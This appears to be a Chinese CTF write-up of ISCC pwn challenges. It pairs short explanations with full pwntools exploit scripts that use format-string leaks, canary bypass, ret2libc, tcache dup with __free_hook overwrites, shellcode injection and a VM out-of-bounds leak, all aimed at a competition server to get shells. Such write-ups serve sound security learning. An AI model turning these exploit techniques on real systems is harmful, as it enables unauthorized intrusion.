前言
抛开比赛不谈,题目还是……算了
刚上传的版本比较简陋,是为了应付比赛的,后面会慢慢完善比如图片和一些trick
trick
真觉得抹符号表没什么意思,但是题目出了,只能想办法解决,推荐一个很好用的插件,finger,推荐这个师傅的文章,因为我是9.0的ida,所以有一些问题,里面也有讲到
finger
pwn 校级练武
练武 pwn1 签
格式化字符串漏洞
利用20偏移的stdout泄露libc
利用23偏移泄露canary
然后ret2libc即可
from pwn import *
context(arch='amd64',os='linux')
io=remote('101.200.155.151',12400)
libc=ELF('./libc.so.6')
#io=process('./pwn')
elf=ELF('./pwn')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
vuln=0x8049210
io.recvuntil(b"What's your name?\n\n")
payload=b'%20$paaaa%23$p'
io.sendline(payload)
libc_base=int(io.recv(10),16)-0x226d00
system=libc_base+libc.sym['system']
sh=libc_base+next(libc.search(b'/bin/sh\x00'))
io.recvuntil(b'aaaa')
canary=int(io.recv(10),16)
io.recvuntil(b"What's your password?\n\n")
payload=b'a'*(0x4c-12)+p32(canary)+b'a'*(12)+p32(system)+p32(0)+p32(sh)
io.sendline(payload)
io.interactive()
练武 pwn2 key
uaf漏洞,同样申请100字节的chunck,申请到原来的v3指向的chunck,再填入flag,即可让key=520
第一次栈溢出,利用send发送泄露canary
第二次栈溢出puts泄露libc并且回到主函数重新栈溢出
最后ret2libc
context(arch='amd64',os='linux')
io=remote('101.200.155.151',12200)
libc=ELF('./libc.so.6')
elf=ELF('./pwn')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#io=process('./pwn')
#gdb.attach(io)
pop_rdi=0x00000000004014c3
ret=0x000000000040101a
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
io.sendline(b'100')
io.sendline(b'flag')
pause()
io.recvuntil(b'welcome to ISCC\n')
io.send(b'a'*(0x20-7))
io.recvuntil(b'a'*(0x20-8))
canary=u64(io.recv(8).ljust(8,b'\x00'))-0x61
payload=b'a'*(0x20-8)+p64(canary)+b'a'*(0x8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(0x40135c)
io.recvuntil(b'nice to meet you')
io.sendline(payload)
io.recvuntil(b'Nice to meet you too!\n')
puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
libc_base=puts_addr-libc.sym['puts']
print(hex(libc_base))
system=libc_base+libc.sym['system']
sh=libc_base+next(libc.search(b'/bin/sh\x00'))
io.recvuntil(b'welcome to ISCC\n')
payload=b'a'*(0x20-8)+p64(canary)+p64(0x4040a0)+p64(pop_rdi)+p64(sh)+p64(ret)+p64(system)
io.sendline(payload)
io.recvuntil(b'nice to meet you')
io.sendline(payload)
io.interactive()
练武 pwn3 《魔导王的秘密》
2.27版本的堆题
分析主要的漏洞在于edit部分的堆溢出
攻击分为两步:
- 申请一个tcachebin范围以外的chunck,通过切割unsortedbin的方式,泄露libc
- 堆溢出打tcachebin dup
from pwn import *
context(arch = 'amd64',os = 'linux')
count=1
gdb_flag=0
if count==0:
io=process('./p')
else:
io = remote("101.200.155.151",12700)
if gdb_flag==1:
gdb.attach(io)
def cmd(choice):
io.recvuntil(b'Chant your choice:\n')
io.sendline(str(choice))
def add(index,size):
cmd(1)
io.recvuntil(b'Celestial alignment coordinate:\n')
io.sendline(str(index))
io.recvuntil(b'Quantum essence required:\n')
io.sendline(str(size))
def delete(index):
cmd(2)
io.recvuntil(b'Cursed sanctum to cleanse:\n')
io.sendline(str(index))
def edit(index,size,data):
cmd(3)
io.recvuntil(b'Sanctum for arcane inscription:\n')
io.sendline(str(index))
io.recvuntil(b'Runic sequence length:\n')
io.sendline(str(size))
io.recvuntil(b'Inscribe your primordial truth:\n')
io.send(data)
def show(index):
cmd(4)
io.recvuntil(b'Sanctum to reveal cosmic truth:\n')
io.send(str(index))
libc=ELF('./libc.6')
add(0,0x60)
add(1,0x500)#大于0x410即可
add(2,0x60)
delete(1)
add(1,0x60)
show(1)
leak=u64(io.recv(6).ljust(8,b'\x00'))
libc_base=leak-0x3ec0d0
free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']
delete(1)
payload=b'a'*(0x68)+p64(0x71)+p64(free_hook-8)
edit(0,0x78,payload)
add(3,0x60)
add(4,0x60)
edit(4,0x10,b'/bin/sh\x00'+p64(system))
delete(4)
io.interactive()
pwn 区域练武
练武 pwn1 genius
send发送覆盖canary最后一字节,泄露canary
发现题目有system,pop rdi ret,/bin/sh,打ret2system
from pwn import *
context(arch='amd64',os='linux')
#io=process('./pwn')
#gdb.attach(io)
io=remote("101.200.155.151",12000)
elf=ELF('./pwn')
sh=0x402004
pop_rdi=0x4013f3
ret=0x40101a
system=0x401050
io.sendline(b'no')
io.sendline(b'thanks')
io.recvuntil(b'what you want in init')
io.send(b'a'*(0x19))
io.recvuntil(b'a'*(0x18))
canary=u64(io.recv(8))-0x61
pause()
payload=b'a'*(0x18)+p64(canary)+b'a'*(0x8)+p64(pop_rdi)+p64(sh)+p64(ret)+p64(system)
io.sendline(payload)
io.interactive()
练武 pwn2 Fufu
存在fmt漏洞,但是有输入的长度限制。
所以分三次泄露canary,libc,pie
泄露pie是为了获得pop rdi和ret的地址
之后栈溢出部分ret2libc即可
用的是libc start call main的返回地址的值去libcsearcher
图比较模糊,反正选择的是第九个libc
from pwn import *
from LibcSearcher import*
context(arch = 'amd64',os = 'linux')
count=1
gdb_flag=0
if count==0:
io=process('./pwn')
else:
io = remote("101.200.155.151",12600)
if gdb_flag==1:
gdb.attach(io)
def cmd(choice):
io.recvuntil(b'Furina: Your choice? >> ')
io.sendline(str(choice))
def fmt(length,data,size):
cmd(1)
io.recvuntil(b'Furina: Time is limited! >> ')
io.sendline(str(length))
io.recvuntil(b'Furina: Present your evidence! >> ')
io.sendline(data)
key=int(io.recv(size),16)
io.recvuntil(b'hcy want to eat chicken! >> ')
io.sendline(b'YFOR')
return key
def over(data):
cmd(2)
io.recvuntil(b'Furina: The trial is adjourned')
io.sendline(data)
canary=fmt(6,b'%17$p',18)
leak=fmt(6,b'%23$p',14)
pie=fmt(6,b'%19$p',14)-0x13d6
pop_rdi=pie+0x132f
ret=pie+0x101a
libc=LibcSearcher('__libc_start_main_ret',leak)
libc_base=leak-libc.dump('__libc_start_main_ret')
print(hex(libc_base))
system=libc_base+libc.dump('system')
sh=libc_base+libc.dump('str_bin_sh')
payload=b'a'*(0x50-8)+p64(canary)+b'a'*(0x8)+p64(pop_rdi)+p64(sh)+p64(ret)+p64(system)
over(payload)
io.interactive()
练武 pwn3 mutsumi(偏移jmp)
一道shellcode题,有很多选项,但是都是jump选项,有jump rax,rcx。也有jmp到目标地址或者jmp到某个偏移
这一段就是jump reg,只要不满足这段,就会进入imm2asm段,根据内容的长度选择是5字节内容近跳转还是2字节内容的短跳转
那么如何去get shell呢,需要依靠imm2asm中的两个选项
5字节内容的近跳转分为1字节的跳转和4字节的地址
2字节内容的短跳转用于跳过下一段的jmp
如果我们再5字节的后4字节中注入shellcode,然后通过2字节的短跳转跳过jmp直接执行shellcode,不就可以当作正常shellcode题目了吗。
解决这个问题后,难点在于,我们的shellcode被分为了4字节一组,对于不足4字节的内容可以用nop来补齐,但是对于超过4字节的内容,我们只能选择别的方法。
比如/bin/sh\x00的注入,寄存器中还存在rsp,指向段拥有rw权限,因此我们调用一次read向rsp处注入/bin/sh\x00,再控制各个寄存器的值syscall即可
from pwn import *
context(arch='amd64',os='linux')
#io= process("./pwn")
#gdb.attach(io)
io=remote(b'101.200.155.151',12800)
shellcode = asm('''
mov rsi,rsp
nop
add rdx,20
syscall
nop
nop
mov rdi,rsp
nop
xor rsi,rsi
xor rdx,rdx
mov al,59
syscall
nop
nop
''')
print(shellcode)
for i in range(0, len(shellcode), 4):
io.sendline(f"saki,ido,")
io.sendline(str(1))
value = u32(shellcode[i:i+4].ljust(4, b"\x00"))
io.sendline(f"saki,ido,")
io.sendline(str(value))
io.sendline(b"saki,ido,")
sleep(0.1)
io.sendline(b'0xE9')
io.sendline(b"saki,ido,")
sleep(0.1)
io.sendline(b'0xFB')
pause()
io.sendline(b"saki,stop,")
io.sendline(b'/bin/sh\x00')
io.interactive()
练武 pwn4 program
申请tcachebin范围外的chunck,释放后进入unsortedbin,然后切割泄露libc基地址
利用堆溢出,打tcachebin dup,造成system(/bin/sh),最终get shell
from pwn import *
context(arch = 'amd64',os = 'linux')
count=1
gdb_flag=0
if count==0:
io=process('./pwn')
else:
io = remote("101.200.155.151",12300)
if gdb_flag==1:
gdb.attach(io)
def cmd(choice):
io.recvuntil(b'choice:\n')
io.sendline(str(choice))
def add(index,size):
cmd(1)
io.recvuntil(b'index:\n')
io.sendline(str(index))
io.recvuntil(b'size:\n')
io.sendline(str(size))
def delete(index):
cmd(2)
io.recvuntil(b'index:\n')
io.sendline(str(index))
def edit(index,size,data):
cmd(3)
io.recvuntil(b'index:\n')
io.sendline(str(index))
io.recvuntil(b'length:\n')
io.sendline(str(size))
io.recvuntil(b'content:\n')
io.send(data)
def show(index):
cmd(4)
io.recvuntil(b'index:\n')
io.sendline(str(index))
libc=ELF('./libc.so')
add(0,0x500)
add(1,0x60)
delete(0)
add(0,0x40)
show(0)
leak=u64(io.recv(6).ljust(8,b'\x00'))
libc_base=leak-0x1ed010
print(hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
print(hex(free_hook))
system=libc_base+libc.sym['system']
add(2,0x60)
delete(2)
delete(1)
edit(1,0x8,p64(free_hook-8))
add(1,0x60)
add(2,0x60)
edit(2,0x10,b'/bin/sh\x00'+p64(system))
pause()
delete(2)
io.interactive()
pwn 决赛练武
pwn 练武1 Dilemma(execveat)
三次读入的机会,第一次利用格式化字符串漏洞,泄露canary和libc,第二次覆盖rbp打栈迁移到bss段,第三次栈溢出打mprotect+shellcode
由于本题开启了沙箱,发现禁用了execve函数,初步考虑打orw,但是并不知道具体的flag文件路径,因此选择打execveat来getshell
下面第一段为orw,没有打通远程。第二段是execveat成功get shell
from pwn import *
context(log_level='debug',arch = 'amd64',os = 'linux')
io=process('./pwn')
#io=remote("101.200.155.151",12500)
#gdb.attach(io)
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
pop_rdi=0x40119a
ret=0x40101a
io.recvuntil(b'where are you go?')
io.sendline(b'1')
io.recvuntil(b'Enter you password:')
payload=b'%11$paaaa%19$p'
io.sendline(payload)
io.recvline()
canary=int(io.recv(18),16)
print(hex(canary))
io.recvuntil(b'aaaa')
leak=int(io.recv(14),16)
libc_base=leak-0x29d90
pop_rdi=libc_base+next(libc.search(asm('pop rdi;ret'),executable=True))
pop_rsi=libc_base+next(libc.search(asm('pop rsi;ret'),executable=True))
pop_rdx_r12=libc_base+next(libc.search(asm('pop rdx;pop r12 ;ret'),executable=True))
open_addr=libc_base+libc.sym['open']
read_addr=libc_base+libc.sym['read']
write_addr=libc_base+libc.sym['write']
io.recvuntil(b'I will check your password:')
payload=b'a'*(0x28)+p64(canary)+p64(0x404800)+p64(0x4011c9)
io.send(payload)
pause()
payload=b'./flag'
payload=payload.ljust(0x10,b'\x00')
payload+=b'a'*(0x18)+p64(canary)+b'a'*(0x8)
flag_addr=0x404800-0x30
bss=0x404500
payload+=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(pop_rdx_r12)+p64(0)+p64(0)+p64(open_addr)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(bss)+p64(pop_rdx_r12)+p64(0x50)+p64(0)+p64(read_addr)
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(bss)+p64(pop_rdx_r12)+p64(0x50)+p64(0)+p64(write_addr)
io.sendline(payload)
io.interactive()
from pwn import *
context(arch = 'amd64',os = 'linux')
#io=process('./pwn')
io=remote("101.200.155.151",12500)
#gdb.attach(io)
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
pop_rdi=0x40119a
ret=0x40101a
io.recvuntil(b'where are you go?')
io.sendline(b'1')
io.recvuntil(b'Enter you password:')
payload=b'%11$paaaa%19$p'
io.sendline(payload)
io.recvline()
canary=int(io.recv(18),16)
print(hex(canary))
io.recvuntil(b'aaaa')
leak=int(io.recv(14),16)
libc_base=leak-0x29d90
pop_rdi=libc_base+next(libc.search(asm('pop rdi;ret'),executable=True))
pop_rsi=libc_base+next(libc.search(asm('pop rsi;ret'),executable=True))
pop_rdx_r12=libc_base+next(libc.search(asm('pop rdx;pop r12 ;ret'),executable=True))
mpro=libc_base+libc.sym['mprotect']
io.recvuntil(b'I will check your password:')
payload=b'a'*(0x28)+p64(canary)+p64(0x404800)+p64(0x4011c9)
io.send(payload)
pause()
payload=b'/bin/sh\x00'
payload=payload.ljust(0x28,b'\x00')
payload+=p64(canary)+b'a'*(0x8)
shell_addr=0x404800-0x30
bss=0x404500
payload+=p64(pop_rdi)+p64(0x404000)+p64(pop_rsi)+p64(0x1000)+p64(pop_rdx_r12)+p64(7)+p64(0)+p64(mpro)+p64(0x404800+0x50)
payload+=asm('''
xor r8,r8
xor r9,r9
xor r10,r10
mov rsi,0x4047d0
mov rdx,0x4047e0
mov rdi,-100
mov rax,322
syscall
''')
io.sendline(payload)
io.interactive()
pwn 擂台
擂台 pwn1 call
利用write函数泄露libc,打ret2libc即可
from pwn import *
context(arch='amd64',os='linux')
io=remote('101.200.155.151',12100)
#io=process('./pwn')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc=ELF('./libc.so.6')
elf=ELF('./pwn')
#gdb.attach(io)
pause()
pop_rdi=0x0000000000401273
pop_rsi_r15=0x0000000000401271
ret=0x000000000040101a
write_plt=elf.plt['write']
write_got=elf.got['write']
name=0x401136
payload=b'a'*(0x60+8)+p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(write_got)+p64(0)+p64(write_plt)+p64(name)
io.recvuntil(b'My name is\n')
io.sendline(payload)
write_addr=u64(io.recv(6).ljust(8,b'\x00'))
libc_base=write_addr-libc.sym['write']
system=libc_base+libc.sym['system']
sh=libc_base+next(libc.search(b'/bin/sh\x00'))
payload=b'a'*(0x60+8)+p64(pop_rdi)+p64(sh)+p64(system)
io.sendline(payload)
io.interactive()
擂台 pwn2 vmpwn
首先main函数可以看到申请了两个chunck,并且向第一个chunck中读入了内容
并且进入go部分后,以0x4060为数组a的起始位置,main函数中的各种值,其实就是a的不同下标对应的值,比如a[6],a[8]存储两个堆的指针,a[7]存储读入长度等
最终是两个free,所以暂时到这里的第一反应是free_hook,无论是ogg也好,system(/bin/sh)也罢
接下来进入go部分
由于本人的逆向能力依托,所以这个ida的逆向还是有很多瑕疵的,所以重点还是分析exp的原理
unsigned __int64 __fastcall go(_QWORD *a1)
{
__int64 v1; // rsi
__int64 v2; // rax
__int64 v3; // rsi
__int64 v4; // rax
int v5; // ebx
unsigned __int8 令v7为第0位_第一次code的为第一位v_第二次code的_; // [rsp+17h] [rbp-59h]
unsigned __int8 v8; // [rsp+18h] [rbp-58h]
unsigned __int8 v9; // [rsp+19h] [rbp-57h]
unsigned __int8 v10; // [rsp+1Dh] [rbp-53h]
char v11; // [rsp+1Fh] [rbp-51h]
char v12; // [rsp+21h] [rbp-4Fh]
unsigned __int8 v13; // [rsp+23h] [rbp-4Dh]
void (__fastcall *v14)(_QWORD); // [rsp+38h] [rbp-38h]
unsigned __int64 v15; // [rsp+58h] [rbp-18h]
v15 = __readfsqword(0x28u);
while ( 1 )
{
令v7为第0位_第一次code的为第一位v_第二次code的_ = code((__int64)a1);// 令v7为第0位
// 第一次code的为第一位v
// 第二次code的为第二位vv
// code获取的是ptr1指向的堆区里的第a1[4]个数
switch ( 令v7为第0位_第一次code的为第一位v_第二次code的_ )
{
case 0u: // a1[4]=a1[4]+9
v13 = code((__int64)a1);
a1[v13] = code_cnt((__int64)a1); // a1[v]=vv
break;
case 1u: // a1[4]=a1[4]+2
v12 = code((__int64)a1);
a1[(char)code((__int64)a1)] = *(_QWORD *)a1[v12];// a1[vv]=(*)a1[v]
break;
case 2u: // a1[4]=a1[4]+2
v11 = code((__int64)a1);
*(_QWORD *)a1[(char)code((__int64)a1)] = a1[v11];// (*)a1[vv]=a1[v]
break;
case 3u: // a1[4]=a1[4]+2
v10 = code((__int64)a1);
a1[(unsigned __int8)code((__int64)a1)] = a1[v10];// a1[vv]=a1[v]
break; // 有unsigned 直接获取stdout未遂
case 4u: // a1[4]=a1[4]+1
v1 = a1[6];
v2 = a1[4];
a1[4] = v2 + 1;
one((__int64)a1, a1[*(unsigned __int8 *)(v1 + v2)]);// need a1[5]-8 >= a1[8]
// a1[5]=a1[4]+a1[6]
// (此时a1[4]已经+1)
break;
case 5u: // a1[4]=a1[4]+1
v3 = a1[6];
v4 = a1[4];
a1[4] = v4 + 1;
v5 = *(unsigned __int8 *)(v3 + v4);
a1[v5] = two((__int64)a1); // need a1[5] < a1[8]+0x8000
// a1[(a1[4]+a1[6])[0]]=a1[5]
// (此时a1[4]已经+1)
// a1[5]=a1[5]+8
break;
case 6u: // a[4]=a[4]+1
v14 = (void (__fastcall *)(_QWORD))a1[(unsigned __int8)code((__int64)a1)];
v14(*a1); // do a1[8*code(a1)]
break;
case 7u:
a1[4] = (unsigned int)two((__int64)a1); // need a1[5] < a1[8]+0x8000
// a1[4]=a1[5]
// a1[5]=a1[5]+8
break;
case 8u: // go to main
return __readfsqword(0x28u) ^ v15;
case 9u: // next
continue;
case 0xAu: // a1[4]=a1[4]+9
v9 = code((__int64)a1);
a1[v9] += code_cnt((__int64)a1); // a1[v]=a1[v]+vv
break;
case 0xBu: // a1[4]=a1[4]+9
v8 = code((__int64)a1);
a1[v8] -= code_cnt((__int64)a1); // a1[v]=a1[v]-vv
break;
default:
fprintf(stderr, "Invalid opcode: 0x%02x\n", 令v7为第0位_第一次code的为第一位v_第二次code的_);
exit(1LL);
}
}
}
首先分析最核心的code和code_cnt
code的返回值就是从堆中获取的第a1[4]个数字,然后a1[4]+1
code_cnt的返回值就是从堆中的a1[4]开始的八字节内容,然后a1[4]+8
按照ida中注释的,进入case后,第一次code的返回值为v,第二次code或code_cnt的返回值为vv
后续的操作分成几个部分:
- 0~3
- case0:a1[v]=vv
- case1:a1[vv]=(*)a1[v]
- case2:(*)a1[vv]=a1[v]
- case3:a1[vv]=a1[v]
- 4,5,7
不过多分析,因为我的做法没有用到,4是push,5是pop,7是调整a1[4]这个指针 - 6
- 把某个数组的值当作地址执行,观察ida可以发现,他的rdi是a1[0],所以我们后续的system提权,是在a1[0]处放了/bin/sh
- a~b
- casea:a1[v]=a1[v]+vv
- caseb:a1[v]=a1[v]-vv
- 剩下一些continue,和return,也不用管
分析完后其实思路可以有很多,比如刚开始提到的free_hook attack,不过我这里选择了利用case6打system(‘/bin/sh\x00’)
这题麻烦的地方在于,开启了pie保护,所以我们该怎么获得libc基地址?
vm类题目最常见的漏洞利用,数组越界
可以看到,我们的数组前是stdout和got表
此时可以考虑使用case3,把这些可以泄露libc的值交换到数组正下标的范围内,不过case3的下标是无符号的,所以越界失败
但是看到标红处有一个gift,他有这一段的地址,所以通过case1获得这个地址的值,即gift。然后减-0x50到malloc处的got表,然后再用case1获得malloc的got表指向的malloc的真实地址,然后泄露libc
之后只需要通过casea和caseb的加减法,让a1[0]变成/bin/sh,另一个a1变成system,然后直接case6执行getshell
from pwn import *
context(arch='amd64',os='linux')
io=process('./vmpwn')
gdb.attach(io)
#io=remote("101.200.155.151",20000)
elf=ELF('./vmpwn')
libc=ELF('./libc.so.6')
#a[vv]=(*)a[v]
def case1(v,vv):
return (p8(1)+p8(v)+p8(vv))
#change
def case3(v,vv):
return (p8(3)+p8(v)+p8(vv))
#do
def case6(v):
return (p8(6)+p8(v))
#add
def casea(v,data):
return (p8(0xa)+p8(v)+p64(data))
#sub
def caseb(v,data):
return (p8(0xb)+p8(v)+p64(data))
payload=case1((-11)%256,1)
payload+=caseb(1,0x50)
payload+=case1(1,0)
payload+=caseb(0,libc.sym['malloc'])
payload+=case3(0,2)
payload+=casea(2,libc.sym['system'])
payload+=casea(0,next(libc.search(b'/bin/sh\x00')))
payload+=case6(2)
io.sendline(payload)
io.interactive()
擂台 pwn3 Enc++
一道需要逆向的密码pwn
通过finger插件尽可能还原符号表,后续根据关键字的查找,发现涉及到了ase cbc和base64两个密码手段,在写好我们的payload之后密码处理一下即可当作正常题目解,前面有两次格式化字符串的机会,第一次通过%p泄露canary,第二次通过%n改写flag为1(就是后续检查能否栈溢出的那个变量),既然给了两次机会,那%n就直接用fmtstr工具出了
第二部分进入栈溢出,拥有了canary就可以肆无忌惮的栈溢出了,原本以为存在/bin/sh处的地方是后门函数,但是几次尝试发现不太能利用,而且题目是静态链接所以没有system函数可以使用,但是同时有非常多的gadget,甚至有syscall,所以栈溢出打ret2syscall即可,且题目里有/bin/sh的地址,直接使用即可
from pwn import *
import base64
from cryptography.hazmat.primitives import padding
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
import os
context.update(arch='amd64', os='linux')
#io=process('./pwn')
#gdb.attach(io)
io=remote("101.200.155.151",21000)
def aes_cbc(data):
payload= padding.PKCS7(128).padder()
payload=payload.update(data) + payload.finalize()
aes_cipher=Cipher(algorithms.AES(key), modes.CBC(vector))
aes = aes_cipher.encryptor()
return aes.update(payload) + aes.finalize()
pop_rdi=0x40788b
pop_rsi=0x40797b
pop_rdx=0x4bc453
pop_rax=0x411dc6
syscall=0x76d9fb
shell_addr=0x7C70C2
flag=0x932170
key=b'YFOR'*8
vector=b'YFOR'*4
data = b'%17$p'
pay=key+vector
payload=pay+aes_cbc(data)
io.sendline(base64.b64encode(payload))
io.recvuntil('0x')
canary=int(io.recv(16),16)
print(hex(canary))
pause()
fmt=fmtstr_payload(6,{flag:1})
payload=pay+aes_cbc(fmt)
io.sendline(base64.b64encode(payload))
pause()
payload=b'a'*0x28+p64(canary)+b'a'*8
payload+=p64(pop_rdi)+p64(shell_addr)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(pop_rax)+p64(0x3b)+p64(syscall)
io.sendline(payload)
io.interactive()
擂台 pwn4 迷途之子
篇幅不短,挑选重点部分来分析这道2.31版本的堆
第一步,看到主函数有四个交互,常规的add,delete,edit,旁边有注释具体内容。
由于没有show交互,泄露libc基地址是本题的关键
同时本题的重点是start game交互
接下来是start game部分,图片放不下,只能放代码了,根据注释分析
unsigned __int64 start_game()
{
char buf; // [rsp+Bh] [rbp-15h] BYREF
unsigned __int8 goal_x; // [rsp+Ch] [rbp-14h]
unsigned __int8 goal_y; // [rsp+Dh] [rbp-13h]
unsigned __int8 goal_x_1; // [rsp+Eh] [rbp-12h]
unsigned __int8 goal_y_1; // [rsp+Fh] [rbp-11h]
unsigned __int8 *v6; // [rsp+10h] [rbp-10h]
unsigned __int64 v7; // [rsp+18h] [rbp-8h]
v7 = __readfsqword(0x28u);
v6 = 0LL;
if ( users[0] ) // 检查users[0],即是否有申请过chunck
// user[0]会保存chunck的ptr,且不会因为delete而清零
{
v6 = (unsigned __int8 *)users[0]; // 表面上是存int8类型,实际上由于v6就是占8字节的,v6存储的就是chunck的地址
goal_x = *(_BYTE *)users[0]; // user[0]指向的chunck的最低一字节
goal_y = *(_BYTE *)(users[0] + 1); // user[0]指向的chunck的倒数第二字节
write(1, "Game started! (WASD to move, Q to quit)\n", 0x27uLL);
while ( 1 )
{
read(0, &buf, 1uLL); // 读入wasd或q进行交互
goal_x_1 = goal_x;
goal_y_1 = goal_y;
switch ( buf )
{
case 'a':
if ( goal_x_1 )
--goal_x_1;
goto LABEL_12;
case 'd':
if ( goal_x_1 != 0xFF )
++goal_x_1;
goto LABEL_12;
case 'q':
return __readfsqword(0x28u) ^ v7;
case 's':
if ( goal_y_1 != 0xFF )
++goal_y_1;
goto LABEL_12;
case 'w':
if ( goal_y_1 )
--goal_y_1;
LABEL_12:
if ( !maze[256 * (unsigned __int64)goal_y_1 + goal_x_1] )// 256*goal_y_1就是左移8位,十六进制下2位
// 这一步就是maze地址+user[0]chunck的后两字节指向的值的01判断
{
goal_x = goal_x_1;
goal_y = goal_y_1; // 更新goal_x,goal_y
*v6 = goal_x_1;
v6[1] = goal_y; // 根据之前的交互,更新user[0]指向的chunck的倒数2字节的值
if ( goal_x == goal_x && goal_y == goal_y )// 如果goal_x=goal_y=0x80即可进入gift泄露libc
gift();
}
break;
default:
continue;
}
}
}
return __readfsqword(0x28u) ^ v7;
}
接下来分析exp
第一步泄露libc
由于通过start game中一步一步从一个差别很大的数变成0x8080,很需要考虑maze中的01数据,所以方便考虑,我直接通过布局堆块释放顺序,让user[0]的末三位是0x380,倒数第四位需要爆破
我们爆破的目标情况就是0x8380(不想了解如何布局的可以跳过这一段)
以我爆破出来的一次环境为例
初始堆地址为0x6499a7068000
2.31版本会有一个0x290的tcache entry
所以接下来十个chunck的起始地址会是:
0x6499a7068290
0x6499a70682c0
0x6499a70682f0
0x6499a7068320
0x6499a7068350
0x6499a7068380(这里!)chunck5
0x6499a70683b0
0x6499a70683e0
0x6499a7068410
0x6499a7068440
由于tcachebin的fd指向的是data的起始地址,而fastbin的fd指向的是header的起始地址,所以我们需要让这个chunck5在fastbin链表中,且需要有一个chunck指向他,这个chunck就是user[0]指向的chunck,这样在start game部分我们的goal_x就等于0x80,goal_y就等于0x83了
可以看到user[0]是0x82a0结尾的,而fastbin中指向0x8380的就是user[0]
之后根据maze的01情况,布置一条改变的路径
0x8380—>0x8381—>0x8281—>0x8181—>0x8081—>0x8080
泄露出libc后,再把0x8080恢复回到0x8380
然后申请走所有chunck,开始打tcachebin dup
先释放user[0]的chunck,再释放几个别的chunck,这样就可以增大tcachebin count,保证tcachebin dup
现在user[0]就是tcachebins现实中最左边的chunck,通过start game的更改让他的地址,让fd是八字节后的内容,根据第二张图也可以看出,他的fd是我们输入的内容,说明成功了
然后查看user发现user[3]指向的chunck从加8开始读入,就刚好是读入到0x8386这个chunck的fd处,由于我们的读入是从data+8开始读入,所以chunck需要从free_hook-8开始读入,这样确保能读入到free_hook
成功改free_hook为one gadget
最后get shell
from pwn import *
libc=ELF('./libc.so.6')
#io=remote("101.200.155.151",22000)
io=process('./pwn')
gdb.attach(io)
def cmd1(choice):
io.recvuntil(b'>>')
io.sendline(str(choice))
def add(data):
cmd1(1)
io.recvuntil(b'Enter name (up to 24 chars):')
io.sendline(data)
def delete(index):
cmd1(2)
io.recvuntil(b'Index: ')
io.sendline(str(index))
def edit(index,data):
cmd1(3)
io.recvuntil(b'Index: ')
io.sendline(str(index))
io.recvuntil(b'New name: ')
io.send(data)
def start():
cmd1(4)
io.recvuntil(b'Game started! (WASD to move, Q to quit)')
def cmd2(choice):
io.send(choice)
one=[0xe3afe,0xe3b01,0xe3b04]
for i in range(10):
add(b'aaaa')
#chunck5以80结尾
tcache=[1,2,3,4,6,7,8]
for i in range(7):
delete(tcache[i])
fast=[9,5,0]
for i in range(3):
delete(fast[i])
#爆破0x8380
start()
cmd2(b'dq')#8381
start()
cmd2(b'wq')#8281
start()
cmd2(b'wq')#8181
start()
cmd2(b'wq')#8081
start()
cmd2(b'aq')#8080
leak=u64(io.recv(8))
libc_base=leak-libc.sym['read']
free_hook=libc_base+libc.sym['__free_hook']
one_gadget=libc_base+one[1]
print(hex(libc_base))
print(hex(malloc_hook))
start()
cmd2(b'dq')#0x8081
start()
cmd2(b'sq')#8181
start()
cmd2(b'sq')#8281
start()
cmd2(b'sq')#0x8381
start()
cmd2(b'aq')#0x8380
for i in range(10):
add(b'aaaa')
delete(0)
delete(1)
delete(2)
delete(8)
add(b'aaaa')
delete(9)
delete(0)
for i in range(0x28):
start()
cmd2(b'aq')
pause()
edit(3,p64(free_hook-8))
add(b'aaaa')
add(b'aaaa')
add(p64(one_gadget))
delete(0)
io.interactive()
擂台 pwn5 book_manager
主要是通过load劫持程序执行流,让load读取flag中的内容,然后输出
需要两步:
1.获得canary
2.控制好v22的布局,劫持程序执行流
泄露canary是通过search部分,serach的名字搜索有一个0x28的读入,并且有一个一字节的溢出,改为0xa,这样可以借机绕开printf关于\x00的截断,做到泄露canary
为什么是控制v22的布局呢,因为栈溢出漏洞再display里,会把要输出的内容复制到v22中,最后可以栈溢出
控制布局的方法很粗暴,直接data123都拉满,然后看add几次会stack check fail,然后减一次再控制data123的字节数,最后发现第9次只需要16字节的内容即可刚好让下一个book的data1对上canary,绕过canary的检查,然后成功进入load
但是通过load泄露有一个前提,就是dword_4E8350 =1,所以我们再display前需要save一次,让这个变量等于1,就可以了
from pwn import *
context(arch = 'amd64',os = 'linux')
#io=process('./pwn')
io=remote("101.200.155.151",23000)
#gdb.attach(io)
def cmd(choice):
io.recvuntil(b'Enter your choice (1-9)> ')
io.sendline(str(choice))
def search():
cmd(4)
io.recvuntil(b'Please choose: ')
io.sendline(b'2')
io.recvuntil(b'Enter author name: ')
io.send(b'a'*(0x28))
io.recvuntil(b'a'*(0x28)+b'\n')
data=u64(io.recv(7).ljust(8,b'\x00'))<<8
return data
def add(data1,data2,data3):
cmd(1)
io.recvuntil(b'Title: ')
io.send(data1)
io.recvuntil(b'Author: ')
io.send(data2)
io.recvuntil(b'Publisher: ')
io.send(data3)
pop_rdi=0x401a42
#ret=0x40101a
ret=0x401a43
load=0x40340c
flag_addr=0x4e9b2d
canary=search()
for i in range(8):
add(b'a'*50, b'b'*30, b'c'*40)
add(b'a'*14, b'b', b'c')
payload=p64(canary)+p64(0)+p64(pop_rdi)+p64(flag_addr)+p64(ret)+p64(load)
add(payload,b'b'*(20)+b'\x00flag\x00\x00\x00\x00\x00',b'c'*40)
cmd(6)
pause()
cmd(5)
io.interactive()
擂台 pwn6 mini pwn
vm pwn题
